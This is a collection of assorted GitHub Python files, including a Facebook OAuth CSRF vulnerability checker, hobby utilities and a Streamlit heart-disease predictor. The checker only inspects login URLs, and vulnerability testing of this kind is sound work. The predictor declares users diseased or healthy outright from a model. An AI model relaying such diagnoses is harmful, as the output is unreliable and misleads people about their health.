models\ndiabetes_model=pkl.load(open(\"C:/Users/91850/Desktop/Multiple Diseases/diabetes_predictor.sav\",\"rb\")) \nheart_model=pkl.load(open(\"C:/Users/91850/Desktop/Multiple Diseases/heart_disease_predictor.sav\",\"rb\")) \nparkinson_model=pkl.load(open(\"C:/Users/91850/Desktop/Multiple Diseases/parkinson_predictor.sav\",\"rb\")) \n# breast_cancer_model=pkl.load(open(\"C:/Users/91850/Desktop/Multiple Diseases/breast_cancer_predictor.sav\",\"rb\")) \n\n\n# Sidebar for Navigation\n\nwith st.sidebar:\n \n selected = option_menu(\"Multiple Diseases Prediction System\",\n \n [\"Check for Heart Disease\",\n \"Check for Diabetes\",\n \"Check for Parkinsons Infection\"],\n \n default_index=0)\n \n \n\n \n \n # Heart Disease Page\nif(selected == \"Check for Heart Disease\"):\n st.title(\"Heart Disease Predictor\")\n \n col1,col2,col3=st.columns(3)\n \n with col1:\n age=st.text_input(\"Age\")\n \n with col2:\n sex=st.text_input(\"Sex\")\n \n with col3:\n cp=st.text_input(\"Chest Pain Type\")\n \n with col1:\n trestbps=st.text_input(\"Resting Blood Pressure\")\n \n with col2:\n chol=st.text_input(\"Serum Cholestrol in mg/dl\")\n \n with col3:\n fbs=st.text_input(\"Fasting Blood Sugar > 120 mg/dl\")\n \n with col1:\n restecg=st.text_input(\"Resting Electrocardiographic results\")\n \n with col2:\n thalach=st.text_input(\"Maximum Heart Rate Achieved\")\n \n with col3:\n exang=st.text_input(\"Exercise Induced Angina\")\n \n with col1:\n oldpeak=st.text_input(\"ST Depression induced by Exercise\")\n \n with col2:\n slope=st.text_input(\"Slope of the Peak Exercise ST Segment\")\n \n with col3:\n ca=st.text_input(\"Major Vessels colored by flourosopy\")\n \n with col1:\n thal=st.text_input(\"Thal: 0=Normal; 1=fixed defect; 2=reversible defect\")\n \n # creating a button for prediction\n if st.button(\"Test Your Health\"):\n heart_pred=heart_model.predict([[age,sex,cp,trestbps,chol,fbs,restecg,thalach,exang,oldpeak,slope,ca,thal]])\n \n if heart_pred[0]==1:\n st.warning(\"You are suffering with a Heart Disease\")\n else:\n st.success(\"You are Healthy\")\n \n # Diabetes Page\nif(selected == \"Check for Diabetes\"):\n st.title(\"Diabetes Predictor\")\n \n # Parkinson Page\nif(selected == \"Check for Parkinsons Infection\"):\n st.title(\"Parkinsons Infection Predictor\")","repo_name":"PrathamKaushik/Multiple-Diseases","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74877909261","text":"# crc.py - Functions for CRC\r\n#\r\n# Copyright (C) Simon Schäfer \r\n#\r\n# Released under GNU GPL v3 or later\r\n\r\n\r\nimport crc\r\n\r\n\r\n# Create a crc calculator\r\ndef crc_create_calculator(self, width, polynomial, init_value, final_xor_value, reverse_input, reverse_output):\r\n configuration = crc.Configuration(\r\n width=width,\r\n polynomial=polynomial,\r\n init_value=init_value,\r\n final_xor_value=final_xor_value,\r\n reverse_input=reverse_input,\r\n reverse_output=reverse_output,\r\n )\r\n self.crc_calculator = crc.Calculator(configuration)\r\n","repo_name":"Eshco93/dxlAPRS-SHUE","sub_path":"SondeHubUploader/crc.py","file_name":"crc.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"23720109113","text":"import random, time\n\nclass dnd():\n\n def __init__(self) -> None:\n pass\n\n async def dddiceroll(message, prefix):\n message_content = message.content.lower()\n total_roll = 0\n diceroll_max = message_content.find(' ', len(prefix)+ 11)\n diceroll_max2 = message_content.find(' ', diceroll_max + 1)\n rolls = []\n\n try:\n multiplier_start = int(message_content.find('m'))\n multiplier_end = message_content.find(' ', multiplier_start)\n \n if multiplier_end == -1:\n multiplier_end = len(message.content)\n\n multiplier = int(message_content[multiplier_start + 1:multiplier_end])\n\n except(ValueError):\n multiplier = 1\n\n try:\n addition_start = int(message_content.find('a'))\n addition_end = message_content.find(' ', addition_start + 1)\n\n if addition_end == -1:\n addition_end = len(message_content)\n\n addition = int(message_content[addition_start + 1: addition_end])\n\n except(ValueError):\n addition = 0\n\n if diceroll_max2 == -1:\n diceroll_max2 = len(message_content)\n\n try:\n top_pick_start = message_content.find('p', len(prefix) + 11)\n top_pick_end = message_content.find(' ', top_pick_start + 1)\n reverse_order = message_content.find('f', top_pick_start)\n added_amount = 1\n high_low = 'highest'\n\n if reverse_order >= 1:\n added_amount = 2\n high_low = 'lowest'\n reverse_order = False\n else:\n reverse_order = True\n\n if top_pick_end == -1:\n top_pick_end = len(message_content)\n \n top_pick = int(message_content[top_pick_start + added_amount: top_pick_end])\n\n except(ValueError):\n top_pick = -1\n\n try:\n for roll in range(int(message.content[diceroll_max + 1: diceroll_max2 + 1])):\n roll = random.randint(1, int(message.content[len(prefix) + 11:diceroll_max]))\n total_roll += roll\n rolls.append(roll)\n await message.channel.send(f'Rolled a: {roll}')\n time.sleep(1.5)\n\n if top_pick == -1:\n final_roll = (total_roll * multiplier) + addition\n await message.channel.send(f'Total roll is: {total_roll} times {multiplier} plus {addition}\\nFinal roll:{final_roll}')\n\n elif top_pick >= 1:\n rolls.sort(reverse=reverse_order)\n total_roll = 0\n\n for roll in rolls[0:top_pick]:\n total_roll += roll\n \n final_roll = (total_roll * multiplier) + addition\n await message.channel.send(f'Total roll is: {total_roll} (only counting {top_pick} {high_low} roles) times {multiplier} plus {addition}\\nFinal roll:{final_roll}')\n\n else:\n await message.chanel.send(f'something went wrong I had {top_pick} as the top-pick')\n\n except(ValueError):\n await message.channel.send(f'Please format as following ( * = optional )\\n{prefix}' +\n 'd_diceroll (dice total[int]) (roll amount[int]) *m(multiply amount[int]) *a(added amount[int]) *p*f(reverse order)(how many top numbers[int]) ')\n\n except(TypeError):\n print('failed typed')","repo_name":"JGreyScales/Util_Discord_bot","sub_path":"utils/DD.py","file_name":"DD.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"73375252941","text":"# importar paquetes necesarios\nfrom imutils.video import VideoStream\nfrom pyzbar import pyzbar\nfrom pygame import mixer\nimport argparse\nimport datetime\nimport imutils\nimport time\nimport cv2\n\n\n# construye nuestro parser de argumentos y hace el parseo de los argumentos\nap = argparse.ArgumentParser()\n\n# ap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\", help=\"path to output CSV file containing barcodes\")\nap.add_argument(\"-o\", \"--output\", type=str, default=\"barcodes.csv\", help=\"path to output CSV file containing barcodes\")\nargs = vars(ap.parse_args())\n\n\n#Entrada\napAddEntrada = argparse.ArgumentParser()\napAddEntrada.add_argument(\"-o\", \"--output\", type=str, default=\"entrada.csv\", help=\"path to output CSV file containing barcodes\")\nargsEntrada = vars(apAddEntrada.parse_args())\n\n#Salida\napAddSalida = argparse.ArgumentParser()\napAddSalida.add_argument(\"-o\", \"--output\", type=str, default=\"salida.csv\", help=\"path to output CSV file containing barcodes\")\nargsSalida = vars(apAddSalida.parse_args())\n\nwhile True:\n option = input(\"Escanear para...\\nEntrada: e\\nSalida: s\\nOpcion ?: \")\n if option == \"s\" or option == \"e\":\n if option == \"e\":\n thisCsv = open(argsEntrada[\"output\"], \"a\")\n else:\n thisCsv = open(argsSalida[\"output\"], \"a\")\n break;\n elif option == \"csv\":\n thisCsv = open(args[\"output\"], \"a\")\n break;\n\n\n# inicializa el video y permite que el sensor de la camara comience a escanear\nprint(\"[INFO] Iniciando video...\")\n# para webcam usa este>\n# src=0 es la camara de la lap, src=1 es una webcam externa\nvs = VideoStream(src=0).start()\n\ntime.sleep(2.0)\nfound = set()\n\nblackList = set()\n\n# loop de frames del video\nwhile True:\n # toma el cuadro(frame) del video y le cambia el tama;o a un maximo de 400 pixeles\n frame = vs.read()\n frame = imutils.resize(frame, width=500, height=600)\n\n # Encuentra los barcodes o QR y los decodifica:\n barcodes = pyzbar.decode(frame)\n\n for barcode in barcodes:\n\n if barcode.data not in blackList:\n blackList.add(barcode.data)\n\n # extrae los limites de la imagen del codigo de barras y crea una caja alrededor\n (x, y, w, h) = barcode.rect\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n # los datos del codigo de barras estan en bytes, si queremos escribirlo en una imagen debemos convertirlo a string primero\n barcodeData = barcode.data.decode(\"utf-8\")\n barcodeType = barcode.type\n\n # escribe los datos y el tipo de codigo de barras en la imagen\n text = \"{} ({}) NO. CONTROL LEIDO\".format(barcodeData, barcodeType)\n image = cv2.putText(frame, text, (x, y - 10), cv2.FONT_HERSHEY_DUPLEX, 0.5, (0, 255, 0), 2)\n print(f\"BarcodeData (Decode(utf-8)): {barcodeData}\")\n mixer.init()\n sound = mixer.Sound('beep.wav')\n sound.play()\n\n while True:\n cv2.imshow(\"img\", image)\n if cv2.waitKey(2000):\n break\n\n cv2.destroyWindow(\"img\")\n\n thisCsv.write(\"{}, {}\\n\".format(datetime.datetime.now(), barcodeData))\n\n thisCsv.flush()\n\n else:\n print(\"Ya se encuentra en registro\")\n\n\n cv2.imshow(\"BarcodeScanner\", frame)\n key = cv2.waitKey(1) & 0xFF\n # waitkey originalmente tenía valor =1\n\n # si la tecla 'q' se puls[o, break del loop\n if key == ord(\"q\"):\n break\n elif key == ord(\"c\"):\n blackList.clear()\n\n# End While True\n\n\n# cierra el archivo CSV de salida y hace limpieza\nprint(\"[INFO] limpiando...\")\nthisCsv.close()\ncv2.destroyAllWindows()\nvs.stop()\n","repo_name":"JOEGG115/IAlectorQR","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27261607028","text":"import time\nimport datetime\nimport tkinter\n\nwindows = tkinter.Tk()\nwindows.title('五一回家倒计时 --王汉')\nwindows.geometry('250x450')\n\ndef get_time():\n t0 = datetime.datetime.now()\n t1 = datetime.datetime(t0.year,t0.month,t0.day,t0.hour,t0.minute,t0.second)\n t2 = datetime.datetime(2020,4,30,18,00,00)\n\n days = (t2 - t1).days\n time1 = (t2-t1).seconds\n hours = (time1)//3600\n mins = (time1-hours*3600)//60\n sec = time1-hours*3600-mins*60\n\n time_text = \"距离五一放假还有\"+str(days)+'天'+str(hours)+'时'+str(mins)+'分'+str(sec)+'秒'\n return time_text\nfile1 = 'C:/Users/Dell/Desktop/tup1.jpg'\n\n'''def get_image(file):\n i = tkinter.Entry.get(self=windows)\n im = Image.open(file)\n global tkimg\n tkimg = ImageTK.PhotoImage(im)\n\n label1 = tk.Label(windows,image=tkimg)\n label1.pack()\n'''\n'''photo = tkinter.PhotoImage(file = 'C:/Users/Dell/Desktop/tup1.gif')\nl1 = tkinter.Label(windows,text='五一倒计时',compound = 'center',font = ('微软雅黑',20),image=photo)\nl1.pack()'''\n\nphoto = tkinter.PhotoImage(file = 'C:/Users/Dell/Desktop/tup1.gif')\nl1 = tkinter.Label(windows,text='五一倒计时',compound = 'center',font = ('微软雅黑',20),image=photo).pack()\ndef updateTime():\n time_text = get_time()\n l2 = tkinter.Label(windows,text=time_text,font=('Arial',12))\n l2.pack()\n#按钮\nb1 = tkinter.Button(windows,text='更新时间',command= updateTime,background = '#FFD700',compound = 'center',height='3',width='7')\nb1.pack()\n\n\nwindows.mainloop()","repo_name":"misaki127/PythonCode","sub_path":"倒计时/五一倒计时.py","file_name":"五一倒计时.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22055289633","text":"import os\nimport sys\nimport threading\nimport time\nimport traceback\n\nimport httpx\n\nfrom anime import AnimeInfo, get_anime_info\nfrom config import download_path, quit_location\nfrom cookies import load_cookies\nfrom downloader import download_anime\nfrom printer import AbstractPrinter, Printer\nfrom saving import Processing\nfrom saving import get_watching as _get_watching\n\nCHECK_INTERVAL: int = 60 * 5\n\nthreads: list[threading.Thread] = []\nprocessing = Processing()\nnames: dict[str, str] = {}\ninfos: dict[str, AnimeInfo] = {}\n\n\n@processing.with_lock\ndef set_processing(processing: Processing, p: AbstractPrinter):\n p.set(\"processing\", str(processing))\n\n\n@processing.with_lock\ndef get_watching(\n processing: Processing, p: AbstractPrinter, names: dict[str, str]\n) -> dict[str, list[str]]:\n res = _get_watching(names, processing)\n set_processing(p)\n return res\n\n\ndef invalid_info(anime_id: str):\n return anime_id not in infos or infos[anime_id].logo_url is None\n\n\ndef update_info(client: httpx.Client, anime_id: str):\n if invalid_info(anime_id):\n info = get_anime_info(client, anime_id)\n if info is None:\n return\n infos[anime_id] = info\n\n\n@processing.with_lock\ndef check(processing: Processing, p: AbstractPrinter, client: httpx.Client):\n watching = get_watching(p, names)\n for anime_id in watching:\n time.sleep(1)\n os.system(\"title checking \" + anime_id)\n\n update_info(client, anime_id)\n\n if invalid_info(anime_id):\n continue\n\n if download_anime(\n client=client,\n base_path=download_path,\n anime_id=anime_id,\n blacklist=watching[anime_id],\n infos=infos,\n names=names,\n p=p,\n threads=threads,\n processing=processing,\n ):\n p.add_desc(\"\\nTime to next check:{timer}s\\n\")\n p.print(\"----------------------------\")\n set_processing(p)\n\n\ndef raise_for_quit(p: AbstractPrinter):\n with open(quit_location, \"r\") as f:\n stop = f.read()\n if len(stop) > 0:\n os.system(\"title quiting\")\n p.print(\"break\")\n with open(quit_location, \"w\") as f:\n pass\n raise Exception()\n\n\ndef main():\n p = Printer()\n\n client = httpx.Client(\n limits=httpx.Limits(max_connections=None, max_keepalive_connections=None),\n follow_redirects=True,\n )\n client.cookies.update(load_cookies())\n\n p.set(\"timer\", CHECK_INTERVAL)\n\n set_processing(p)\n\n p.print()\n p.add_desc(\"Time to next check:{timer}s \")\n p.add_desc(\"[processing: {processing}]\\n\")\n p.print(\"========================\")\n p.print(\"LOGS:\")\n p.print(\"----------------------------\")\n try:\n while True:\n p.set(\"timer\", CHECK_INTERVAL)\n os.system(\"title checking\")\n try:\n check(p, client)\n except Exception as e:\n p.print(\"Check failed:\")\n p.print(e)\n p.print(traceback.format_exc())\n if \"-c\" not in sys.argv:\n break\n for i in range(CHECK_INTERVAL):\n get_watching(p, names)\n\n raise_for_quit(p)\n\n os.system(f\"title checking in {CHECK_INTERVAL-i}s\")\n p.set(\"timer\", CHECK_INTERVAL - i)\n time.sleep(1)\n except Exception as e:\n pass\n finally:\n for t in threads:\n t.join()\n get_watching(p, names)\n p.stop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"tonder0812/gogoanime","sub_path":"check.py","file_name":"check.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"6217336367","text":"#!/usr/bin/env python3\n#\n# ANALYZE A MA REDISTRICTING PLAN, USING NAGLE'S EXTENDED METHOD\n#\n# Evaluate this using a Python interpreter.\n#\n# Use this to validate B_GS.\n\nfrom nagle import *\n\n\nplan = Plan()\n\nplan.state = \"MA\"\nplan.districts = 9\nplan.name = \"Massachusetts\"\nplan.election_model = \"State Auditor\"\nplan.statewide_vote_share = 0.521777\nplan.vpi_by_district = [\n 0.455, 0.464, 0.475, 0.478, 0.491, 0.494, 0.529, 0.555, 0.755\n]\n\nplan.vpi_csv = \"MA-2012-2010A.py\"\nplan.parms_txt = \"MA-2012-2010A.py\"\nplan.analysis_txt = \"STDOUT\"\n\n#\n\nprint_plan(plan)\n\nevaluate_plan(plan)\n\nprint_points(plan, plan.d_sv_pts)\nprint_points(plan, plan.r_sv_pts)\nprint_points(plan, plan.b_gs_pts, sign=True)\n\nprint_analysis(plan)\n\nplot_full_sv_curves(plan, \"MA S-V Curves\")\n\n#\n","repo_name":"dra2020/nagle","sub_path":"examples/MA-2012-2010A.py","file_name":"MA-2012-2010A.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25579864820","text":"#!/usr/bin/python\n\n\"\"\" Tool to determine if a web application's implementation of the Facebook\n OAuth Login flow is vulnerable to CSRF.\n\n Refer to: https://developers.facebook.com/docs/reference/dialogs/oauth/\"\"\"\n\nimport argparse\nfrom urlparse import parse_qs, urlparse\n\n__author__ = '@hyprwired'\n__version__ = '1.0.5'\n\n\nclass FLOC:\n\n def __init__(self):\n self.facebook_url = 'www.facebook.com'\n self.authenticated_path = '/dialog/oauth'\n self.unauthenticated_path = '/login.php'\n self.default_callback = '/auth/facebook/callback'\n self.valid_schemes = ['http', 'https']\n self.url_parsed = None\n self.authenticated_url = False\n self.redirect_uri = None\n self.redirect_uri_parsed = None\n self.client_id = None\n self.display = None\n self.scope = None\n self.state = None\n self.response_type = None\n\n def parse_raw_url(self, raw_url):\n print(\"[*] Parsing URL...\")\n self.url_parsed = urlparse(raw_url)\n if self.url_parsed.scheme not in self.valid_schemes:\n raise Exception(\"[-] URL provided is not HTTP or HTTPS!\")\n return True\n\n def check_if_url_facebook_login_oauth(self):\n print(\"[*] Checking if URL is Facebook OAuth Login URL...\")\n known_paths = [self.authenticated_path, self.unauthenticated_path]\n\n if self.url_parsed.netloc == self.facebook_url:\n if self.url_parsed.path in known_paths:\n return True\n else:\n return False\n else:\n return False\n\n def determine_if_url_authenticated(self):\n print(\"[*] Determining if URL is for an authenticated user or not...\")\n\n url_path = self.url_parsed.path\n if url_path == self.authenticated_path:\n self.authenticated_url = True\n elif url_path == self.unauthenticated_path:\n self.authenticated_url = False\n\n return self.authenticated_url\n\n def examine_url(self):\n print(\"[*] Examing URL...\")\n\n parsed_qs = parse_qs(self.url_parsed.query)\n self.redirect_uri = parsed_qs['redirect_uri'][0]\n self.client_id = parsed_qs['client_id'][0]\n try:\n self.display = parsed_qs['display'][0]\n except KeyError:\n pass\n try:\n self.scope = parsed_qs['scope'][0]\n except KeyError:\n pass\n try:\n self.state = parsed_qs['state'][0]\n except KeyError:\n pass\n try:\n self.response_type = parsed_qs['response_type'][0]\n except KeyError:\n self.response_type = 'code' # Facebook defaults to code\n\n print(\"\\n\" + (\"=\" * 21))\n print(\"Information from URL:\")\n print(\"=\" * 21)\n print(\" 'client_id': %s\" % self.client_id)\n print(\" 'redirect_uri': %s\" % self.redirect_uri)\n print(\" 'display': %s\" % self.display)\n print(\" 'scope': %s\" % self.scope)\n print(\" 'state': %s\" % self.state)\n print(\"'response_type': %s\" % self.response_type)\n print(\"=\" * 21)\n print(\"\")\n\n if self.state is not None:\n print(\"[*] Implementation of Facebook OAuth Login doesn't appear\" +\n \" vulnerable to CSRF ('state' parameter is not empty).\")\n else:\n self.redirect_uri_parsed = urlparse(self.redirect_uri)\n\n if ((self.redirect_uri_parsed.path == self.default_callback) and\n self.redirect_uri_parsed.query == ''):\n print(\"[!] Implementation of Facebook OAuth Login is \" +\n \"vulnerable to CSRF.\")\n else:\n print(\"[!] Implementation of Facebook OAuth Login is \" +\n \"vulnerable to CSRF, IF the above redirect_uri doesn't\" +\n \" contain a random string.\")\n\n return True\n\n def check_vulnerable(self, raw_url):\n self.parse_raw_url(raw_url)\n\n if self.check_if_url_facebook_login_oauth():\n print(\"[*] URL is for Facebook OAuth Login.\")\n\n self.determine_if_url_authenticated()\n if not self.authenticated_url:\n print(\"[*] URL is for an unauthenticated user.\")\n print(\"[*] Attempting to get authenticated user URL...\")\n try:\n # Try to get the authenticated OAuth Dialog URL from 'next'\n next_url = parse_qs(self.url_parsed.query)['next'][0]\n self.parse_raw_url(next_url)\n except KeyError:\n print(\"[-] ERROR: Not a Facebook OAuth Login URL.\")\n return False\n\n print(\"[*] URL being examined is for an authenticated user.\")\n return self.examine_url()\n\n else:\n print(\"[-] ERROR: URL is not for Facebook OAuth Login.\")\n\n\ndef print_tool_info():\n print(\"\\n\" + (\"#\" * 61))\n print(\"FLOC (Facebook Login OAuth CSRF detection tool) by %s\" % __author__)\n print(\"Version: %s\" % __version__)\n print((\"#\" * 61) + \"\\n\")\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--file\", help=\"File containing Facebook OAuth Login URL\")\n parser.add_argument(\"-u\", \"--url\", help=\"Facebook OAuth Login URL\")\n args = parser.parse_args()\n print_tool_info()\n if args.file:\n print(\"[*] Reading URL from file: %s\" % args.file)\n f = open(args.file, 'r')\n raw_url = f.readline()\n f.close()\n elif args.url:\n raw_url = args.url\n else:\n raw_url = raw_input(\"[>] Please enter a Facebook OAuth Login URL: \")\n floc_object = FLOC()\n floc_object.check_vulnerable(raw_url)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"djgrasss/FLOC","sub_path":"floc.py","file_name":"floc.py","file_ext":"py","file_size_in_byte":5763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28654123186","text":"#!/usr/bin/env python3\n\ntry: \n import OPi.GPIO as GPIO\n GPIO.setboard(GPIO.PRIME) # Orange Pi PC board\n GPIO.setmode(GPIO.BOARD) # set up BOARD BCM numbering\n GPIO.setwarnings(True) # Turn warnings on/off \nexcept:\n print(\"Error importing the GPIO lib, exit\")\n exit(1)\n\n# Pins estilo BCM\nPIN_FANCONTROL = 7\nPIN_DHT11 = 35\n\n#\nimport dht11\nimport time\nimport datetime\n# \nfrom timeloop import Timeloop\nfrom datetime import timedelta\nfrom influxdb import InfluxDBClient\nfrom math import sqrt\n\n# timeloop instance\ntl = Timeloop()\nINTERVAL_MEASURE = 30\nINTERVAL_PUSH = 300\n\n## vars\ncpu_temp = 0.0\ngpu_temp = 0.0\nfanspeed = 0\ndht_temp = 0.0\ndht_hum = 0.0\ndht_feel = 0.0\nvalid_data = False\n\n#### GPIO general related\ndef cleanup():\n if pwm != False:\n pwm.stop()\n\n # close the GPIO\n GPIO.cleanup()\n\n # stop the TL\n tl.stop()\n\n\n#### TEMP related\ncpupath = \"/sys/class/thermal/thermal_zone0/temp\"\ngpupath = \"/sys/class/thermal/thermal_zone1/temp\"\n\ndef _temp(file):\n with open(file) as cpud:\n return int(cpud.readline())/1000.0\n\ndef cpu():\n return _temp(cpupath)\n\ndef gpu():\n return _temp(gpupath)\n\n\n#### FAN related\nPWM_FREQ = 1000\nGPIO.setup(PIN_FANCONTROL, GPIO.OUT)\npwm = GPIO.PWM(PIN_FANCONTROL, PWM_FREQ)\npwm.ChangeDutyCycle(0)\npwm.start(1)\n\n\ndef set_fanspeed(speed):\n if speed > 100:\n speed = 100\n \n if speed < 0:\n speed = 0\n\n pwm.ChangeDutyCycle(speed)\n fanspeed = speed\n\ndef fanoff():\n fanspeed(0)\n\n\n#### DHT11 related\ndht = dht11.DHT11(pin=PIN_DHT11)\n\ndef get_dht_data():\n result = dht.read()\n if result.is_valid():\n return (result.temperature, result.humidity)\n else:\n return (dht_temp, dht_hum)\n\ndef toFahrenheit(celcius):\n return 1.8 * celcius + 32.0\n\ndef toCelsius(fahrenheit):\n return (fahrenheit - 32.0) / 1.8\n\ndef get_dht_temp_feel(temperature, percentHumidity):\n # Using both Rothfusz and Steadman's equations\n # http://www.wpc.ncep.noaa.gov/html/heatindex_equation.shtml\n hi = 0\n T = toFahrenheit(temperature)\n T2 = T**2\n H = percentHumidity\n H2 = H**2\n\n hi = 0.5 * (T + 61.0 + ((T - 68.0) * 1.2) + (H * 0.094))\n\n if (hi > 79):\n hi = -42.379 + 2.04901523 * T + 10.14333127 * H + -0.22475541 * T * H + -0.00683783 * T2 + -0.05481717 * H2 + 0.00122874 * T2 * H + 0.00085282 * T * H2 + -0.00000199 * T2 * H2\n\n if ((H < 13) and (T >= 80.0) and (T <= 112.0)):\n hi -= ((13.0 - H) * 0.25) * sqrt((17.0 - abs(T - 95.0)) * 0.05882)\n\n elif ((H > 85.0) and (T >= 80.0) and (T <= 87.0)):\n hi += ((H - 85.0) * 0.1) * ((87.0 - T) * 0.2)\n\n C = toCelsius(hi)\n return C\n\n\n#### influxdb related\nidb_host = \"localhost\"\nidb_port = 8086\nidb_database = \"test\"\nidb_client = InfluxDBClient(host=idb_host, port=idb_port, database=idb_database)\n\n\n#### time paced funcions\n#@tl.job(interval=timedelta(seconds=INTERVAL_MEASURE))\ndef show_vars():\n global cpu_temp, gpu_temp, dht_temp, dht_hum, dht_feel\n print(\"\")\n print(\"======================================\")\n print(\"CPU temp: {} celcius\".format(cpu_temp))\n print(\"GPU temp: {} celcius\".format(gpu_temp))\n print(\"Room temp: {} celcius\".format(dht_temp))\n print(\"Room hum: {} %\".format(dht_hum))\n print(\"Room temp {} vs feel {}\".format(dht_temp, dht_feel))\n\n@tl.job(interval=timedelta(seconds=INTERVAL_MEASURE))\ndef update_vars():\n global cpu_temp, gpu_temp, dht_hum, dht_temp, dht_feel, valid_data\n\n cpu_temp = cpu()\n gpu_temp = gpu()\n dht_temp, dht_hum = get_dht_data()\n dht_feel = get_dht_temp_feel(dht_temp, dht_hum)\n if dht_temp > 10 and dht_hum > 10 and dht_feel > 10:\n valid_data = True\n\n@tl.job(interval=timedelta(seconds=INTERVAL_PUSH))\ndef influx_insert():\n global dht_temp, dht_hum, dht_hum, idb_client, idb_database\n \n if valid_data:\n data = []\n data.append(\n {\n \"measurement\": \"temperature\",\n \"tags\": {\n \"device\": \"OPi\", \n \"sensor\": \"DHT11\", \n \"place\": \"Hab\",\n \"comment\": \"real\"},\n \"fields\": {\"value\": dht_temp}\n })\n\n data.append(\n {\n \"measurement\": \"humidity\",\n \"tags\": {\n \"device\": \"OPi\", \n \"sensor\": \"DHT11\", \n \"place\": \"Hab\",\n \"comment\": \"real\"},\n \"fields\": {\"value\": dht_hum}\n })\n\n data.append(\n {\n \"measurement\": \"temperature\",\n \"tags\": {\n \"device\": \"OPi\", \n \"sensor\": \"DHT11\", \n \"place\": \"Hab\",\n \"comment\": \"feel\"},\n \"fields\": {\"value\": dht_feel}\n })\n\n idb_client.write_points(data)\n\n\nif __name__ == '__main__':\n try:\n # start the time loops\n tl.start()\n\n while True:\n time.sleep(1)\n \n except:\n print(\"Cleanup\")\n cleanup()\n","repo_name":"stdevPavelmc/IHU","sub_path":"ihud.py","file_name":"ihud.py","file_ext":"py","file_size_in_byte":5073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31936332134","text":"#!/usr/bin/env python3\nimport os.path\n\nif not os.path.isdir(\"data/data_road\"):\n print(\"KITTI road data need to be fetched...\");\n\n url = \"https://s3-us-west-1.amazonaws.com/udacity-selfdrivingcar/advanced_deep_learning/data_road.zip\"\n zipName = os.path.basename(url)\n os.chdir(\"data\");\n os.system(\"curl -o \" + zipName + \" \" + url)\n os.system(\"unzip -x \" + zipName)\nelse:\n print(\"KITTI road data found.\");\n","repo_name":"hkube/CarND-Semantic-Segmentation","sub_path":"fetch_KittiRoadData.py","file_name":"fetch_KittiRoadData.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"24235448487","text":"import math\r\nimport wave\r\nimport array\r\n\r\ndef createSine( freq=440,length = 3 ,volume = .85, sampleRate =44100) :\r\n sin = math.sin\r\n pi = math.pi\r\n twopi = 2*pi\r\n data = array.array('h')\r\n numSamples = int(length * sampleRate)\r\n cyclesPerSample = float(freq)/sampleRate\r\n volumeScale = (.85)*32767\r\n\r\n for samp in xrange(numSamples):\r\n phi = samp * cyclesPerSample\r\n phi -= int(phi)\r\n \r\n data.append(int(round(volumeScale * sin(twopi * phi))))\r\n return data\r\n\r\nf = wave.open('biWave.wav', 'w')\r\nf.setparams((1, 2, 44100, 0, \"NONE\", \"Uncompressed\"))\r\nfor i in range(16):\r\n\tset = createSine(1200, 0.03) \r\n\tf.writeframes(set.tostring())\r\n\tset = createSine(2200, 0.03) \r\n\tf.writeframes(set.tostring())\r\nf.close()\r\n","repo_name":"lloyd-g/6pfkandroidsl4a","sub_path":"aprs/sinefunc.py","file_name":"sinefunc.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20928362557","text":"# https://adventofcode.com/2020/day/11\nimport copy\n\n\nclass mylist(list):\n\n def __getitem__(self, n):\n if n < 0:\n raise IndexError(\"...\")\n return list.__getitem__(self, n)\n\n\nwith open(\"day11.in\", \"r\") as fin:\n seats = mylist(fin.readlines())\nseats = [mylist(x.strip()) for x in seats]\nseats = mylist(seats)\n\nwidth = len(seats[0])\nheight = len(seats)\nchanged = True\nwhile changed:\n new = copy.deepcopy(seats)\n changed = False\n for r in seats:\n print(r)\n print('\\n')\n for row in range(height):\n for seat in range(width):\n if seats[row][seat] == '.':\n continue\n occ = 0\n for ver in [-1, 0, 1]:\n for hor in [-1, 0, 1]:\n if ver == 0 and hor == 0:\n continue\n try:\n fwd = 0\n while True:\n fwd += 1\n if seats[row + fwd * ver][seat + fwd * hor] == '#':\n occ += 1\n break\n elif seats[row + fwd * ver][seat + fwd * hor] == 'L':\n break\n except IndexError:\n pass\n if seats[row][seat] == 'L' and occ == 0:\n new[row][seat] = '#'\n changed = True\n elif seats[row][seat] == '#' and occ >= 5:\n new[row][seat] = 'L'\n changed = True\n seats = copy.deepcopy(new)\n\ntotalOcc = 0\nfor r in seats:\n totalOcc += r.count('#')\n print(r)\nprint(totalOcc)\n","repo_name":"Osgboy/AoC","sub_path":"advent-2020/day11/day11part2.py","file_name":"day11part2.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} 